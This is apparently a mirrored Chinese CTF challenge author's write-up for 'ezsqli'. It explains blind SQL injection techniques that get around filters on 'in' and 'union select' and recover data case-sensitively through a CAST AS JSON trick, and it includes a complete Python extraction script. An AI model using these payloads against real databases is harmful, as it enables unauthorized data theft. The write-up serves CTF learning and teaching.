11

新春战疫公益赛-ezsqli-出题小记

 3 years ago
source link: https://www.smi1e.top/%e6%96%b0%e6%98%a5%e6%88%98%e7%96%ab%e5%85%ac%e7%9b%8a%e8%b5%9b-ezsqli-%e5%87%ba%e9%a2%98%e5%b0%8f%e8%ae%b0/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

新春战疫公益赛-ezsqli-出题小记

这道题是参考这篇文章无需“in”的SQL盲注 出的,补掉了正则回溯和查看别人payload的bug

无in注表名

之前常用的 innodb_table_stats  和 innodb_index_stats 无法使用了
外国大佬在sys数据库中找到了很多替代品,参考文章:
Alternatives to Extract Tables and Columns from MySQL and MariaDB 

无union select和字段名注数据

常用的无字段名注入都依赖于union select,而题中不允许union和select同时出现,这里就需要用文中提到的方法
如果表中只有一列可以 SUBSTR((SELECT * FROM table),1,1)='x' 
而题中有两列,需要将查询语句与相同数量的列进行比较,再配合 <= 进行盲注

image.png

区分大小写注数据

mysql默认是不区分大小写的,因为我忘记往flag中加入大写字符了,再加上i春秋的环境是动态flag,貌似默认都是小写flag,emmm这样的话题目就变的很简单了。直接正常盲注即可。

预期解是文章中提到的使用 SELECT CONCAT("A", CAST(0 AS JSON)) 来另其返回二进制字符串。不过你并不知道需要注入的字符串中有什么,是否大于0,因为mysql比较字符串大小是按位比较的,因此我们需要找到一个ascii字符中比较大的字符也就是 ~ ,这样的话 f~ 始终大于 flag{xx} , e~ 始终小于 flag{xxx} 
这样以来我们只用把需要注入的字符按照ascii大小排序,小的在前面,逐位去跑即可。
最后就是i春秋的flag中有--比数字更小,写脚本需要注意一下。
exp:

# -*- coding:utf8 -*-
import requests
import string
url = "http://127.0.0.1/index.php"

def exp1():
    str1 = ('0123456789'+string.ascii_letters+string.punctuation).replace("'","").replace('"','').replace('\\','')
    flag = ''
    select = 'select group_concat(table_name) from sys.x$schema_flattened_keys'
    for j in range(1,40):
        for i in str1:
            paylaod = "1/**/&&/**/(select substr(({}),{},1))='{}'".format(select, j, i)
            #print(paylaod)
            data = {
                'id': paylaod,
            }
            r = requests.post(url,data=data)
            if 'Nu1L' in r.text:
                flag += i
                print(flag)
                break

def exp2():
    str1 = ('-0123456789'+string.ascii_uppercase+string.ascii_lowercase+string.punctuation).replace("'","").replace('"','').replace('\\','')
    flag = ''
    flag_table_name = 'f1ag_1s_h3r3_hhhhh'
    for j in range(1,39):
        for i in str1:
            i = flag+i
            paylaod = "1&&((select 1,concat('{}~',CAST('0' as json))) < (select * from {} limit 1))".format(i,flag_table_name)
            #print(paylaod)
            data = {
                'id': paylaod,
            }
            r = requests.post(url,data=data)

            if 'Nu1L' not in r.text:
                flag=i
                print(flag)
                break

if __name__ == '__main__':
    exp1()
    exp2()
  1. b45d16f73bf65d50f6755069106517ee?s=48&d=mm&r=g

    师傅想请问下exp2最后爆flag那里,为什么直接爆字符的脚本(如果不考虑大小写的话)一直会出错,但是可以转换为十六进制就是可以的,请问下师傅后台存的数据是字符型的么?

    poing 2020-02-24 23:40     回复

  • 207bd73ff0f943e30f3364e097045cb1?s=48&d=mm&r=g

    其他人也告诉我单引号服务端会返回500,我自己本地docker没问题,可能是ichunqiu环境的问题。

    Smi1e 2020-02-25 13:59     回复

发表评论

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK